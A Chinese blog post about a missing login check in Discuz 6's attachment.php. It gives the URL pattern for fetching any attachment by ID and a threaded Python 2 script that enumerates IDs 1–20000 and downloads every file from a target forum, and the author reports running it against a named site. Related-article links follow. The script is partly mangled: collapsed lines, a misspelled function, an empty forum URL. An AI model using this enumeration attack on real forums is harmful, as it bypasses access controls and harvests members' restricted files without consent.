前段时间我下了个python脚本把emsky的附件全部下载了,之前是因为偶然发现emsky附件不登陆也能访问,直接访问一个url就行了。

后来发现大部分discuz6的论坛都有这个bug,我想是因为discuz6的attachment.php没有检测用户是否登陆。

所以,要下载一个附件,这样就行了:

【论坛url】+attachment.php?atid+【附件id】

当然还有一些论坛可能有点验证机制,比如附件下载页面还要再点一个url,但一般这样的url都是明文的,所以也不难。

顺便再丢一个通用的很挫的python脚本:

# -*- coding: gbk -*-

import urllib, urllib2, cookielib
import os, time
import re
import thread
from os.path import basename
from urlparse import urlsplit URL_INDEX=               #论坛主页
DIRNAME = "attdir" #下载目录
ID_START = 1 #起始附件标号
ID_END = 20000 #结束附件标号
DIR_NUM = 1000 #一个目录内放的文件数
AID_PLUS_FN = True
URLATT = URL_INDEX+"/attachment.php?aid=" id_i = ID_START def download(aid=0):
global workdir
try:
url = "%s%d"%(URLATT,aid)
r = urllib2.urlopen(url)
fileName = ""
if r.info().has_key('Content-Disposition'):
fileName = r.info()['Content-Disposition'].split('filename=')[1]
fileName = fileName.replace('"', '').replace("'", "")
elif r.url != url:
fileName = ibasename(urlsplit(r.url)[2])
if fileName <> "":
if AID_PLUS_FN == True:
fileName = "%08d_%s"%(aid,fileName)
fpath="%05d000"%(aid/DIR_NUM)
try:
os.chdir(workdir+"/"+fpath)
except:
os.mkdir(workdir+"/"+fpath)
os.chdir(workdir+"/"+fpath)
#print fileName,
if os.path.isfile(fileName):
#print "ignore"
pass
else:
f = open(fileName, 'wb')
f.write(r.read())
f.close()
#print "done"
else:
pass
except Exception,e:
print e def downloads(id_s,id_e):
global id_i
while id_i<=id_e:
download(id_i)
id_i = id_i+1
print "thread ok" if __name__ == '__main__':
global workdir
try:
os.chdir(DIRNAME)
except:
os.mkdir(DIRNAME)
os.chdir(DIRNAME)
workdir = os.getcwd()
print "start:%d\nend:%d\n"%(ID_START,ID_END)
for i in range(0,10):
thread.start_new_thread(downloads,(ID_START,ID_END))
while True:pass

  

下载discuz 6 论坛的附件的更多相关文章

  1. Discuz开源论坛本地部署自动生成数据库

    这个版本可能比较有点老,但是万变不离其宗,再新的版本都是在已有的基础上更新的,所以掌握方法是最重要的! 先上几张安装成功后的图 (安装成功的论坛首页) (后台管理登录页) 下面说一下安装步骤 第一步: ...

  2. LR实战之Discuz开源论坛——网页细分图结果分析(Web Page Diagnostics)

    续LR实战之Discuz开源论坛项目,之前一直是创建虚拟用户脚本(Virtual User Generator)和场景(Controller),现在,终于到了LoadRunner性能测试结果分析(An ...

  3. LR实战之Discuz开源论坛——安装及简介

    想了很久,也许是因为这段时间特别闲,从毕业到现在,我的测试职业生涯也近两年了,发现自己越来越喜欢测试领域,也越来越偏向测试开发了,作为一名专业的测试人员,不得不要学习性能测试,而使用LoadRunne ...

  4. Discuz开源论坛

      Discuz开源论坛本地部署自动生成数据库   这个版本可能比较有点老,但是万变不离其宗,再新的版本都是在已有的基础上更新的,所以掌握方法是最重要的! 先上几张安装成功后的图 (安装成功的论坛首页 ...

  5. centos LAMP第二部分apache配置 下载discuz!配置第一个虚拟主机 安装Discuz! 用户认证 配置域名跳转 配置apache的访问日志 配置静态文件缓存 配置防盗链 访问控制 apache rewrite 配置开机启动apache tcpdump 第二十节课

    centos    LAMP第二部分apache配置  下载discuz!配置第一个虚拟主机 安装Discuz! 用户认证 配置域名跳转  配置apache的访问日志  配置静态文件缓存  配置防盗链 ...

  6. Discuz! X论坛上传附件到100%自动取消上传的原因及解决方案

    最近接到一些站长的反馈,说论坛上传附件,到100%的时候自己取消上传了.经查是附件索引表pre_forum_attachment表的aid字段自增值出现了问题,导致程序逻辑返回的aid值实际为一个My ...

  7. 论坛遇到附件上传失败问题总结(discuz)

    (1)bbs/source/class/class_upload.php 50行左右,注释$attach['target'] $attach['target'] = DISCUZ_ROOT.'./da ...

  8. m2014-architecture-webserver->百万记录级mysql数据库及Discuz!论坛优化

    作者:shunz,出处:http://shunz.net/2008/06/mysql_discuz_.html 最近,帮一个朋友优化一个拥有20万主题,100万帖子,3万多会员,平均在线人数2000人 ...

  9. 记一次艰苦卓绝的Discuz x3 论坛升级过程

    首先吐槽一下discuz 的官方论坛. 你要想下载到正确版本的discuz实在不容易找到. 有兴趣自己去看吧. 就是因为这个原因, 我本来想要安装x2.5版本(那时x3 还是Beta版本), 结果不小 ...

随机推荐

  1. (1)java设计模式之简单工厂模式

    一:简单工厂模式的优点          --->在阎宏博士的<JAVA与模式>一书中开头是这样描述简单工厂模式的:简单工厂模式是类的创建模式,又叫做静态工厂方法(Static Fa ...

  2. Canvas处理头像上传

    未分类 最近社区系统需要支持移动端,其中涉及到用户头像上传,头像有大中小三种尺寸,在PC端,社区用Flash来处理头像编辑和生成,但该Flash控件的界面不友好而且移动端对Flash的支持不好,考虑到 ...

  3. C# new用法总结

    有一道这样的题:写出c#中new关键字的三种用法,思前想后挖空心思也只想出了两种用法,回来查了下msdn,还真是有第三种用法: 用于在泛型声明中约束可能用作类型参数的参数的类型,这是在Framewor ...

  4. [Everyday Mathematics]20150118

    设 $X$ 是线性空间, $\phi_1,\cdots,\phi_n,\phi$ 是 $X$ 上的线性泛函, 试证: $$\bex \phi\in \span\sed{\phi_1,\cdots,\p ...

  5. Android ViewPager欢迎页+引导页+进入首页

    import android.app.Activity; import android.content.Intent; import android.content.SharedPreferences ...

  6. U盘安装Centos5.3

    一.制作 U 盘启动引导盘 1. 插上 U 盘,打开 UltraISO 软件,打开CentOS-5.3-i386-bin-DVD.iso 文件: 2.点启动--写入硬盘镜像,在硬盘驱动器里面选择你的 ...

  7. qt 获取天气的接口

    博客来源:http://blog.csdn.net/lzqwebsoft/article/details/7054045 网站api接口:http://smart.weather.com.cn/wzf ...

  8. 基于MFC和opencv的FFT

    在网上折腾了一阵子,终于把这个程序写好了,程序是基于MFC的,图像显示的部分和获取图像的像素点是用到了opencv的一些函数,不过FFT算法没有用opencv的(呵呵,老师不让),网上的二维的FFT程 ...

  9. Github上如何取消fork别人的repository

    在Github上如果看到有很不错的项目和作品,一般我们可以进行三种操作:那就是watch, star和fork. Watch也就是关注该repo的动态,star则类似于Facebook和Twitter ...

  10. 杂谈:HTML 5页面可视性API

    译文来源:http://www.ido321.com/1126.html 原文:HTML5 Page Visibility API 译文:HTML 5的页面可视性API 译者:dwqs 在早期,浏览器 ...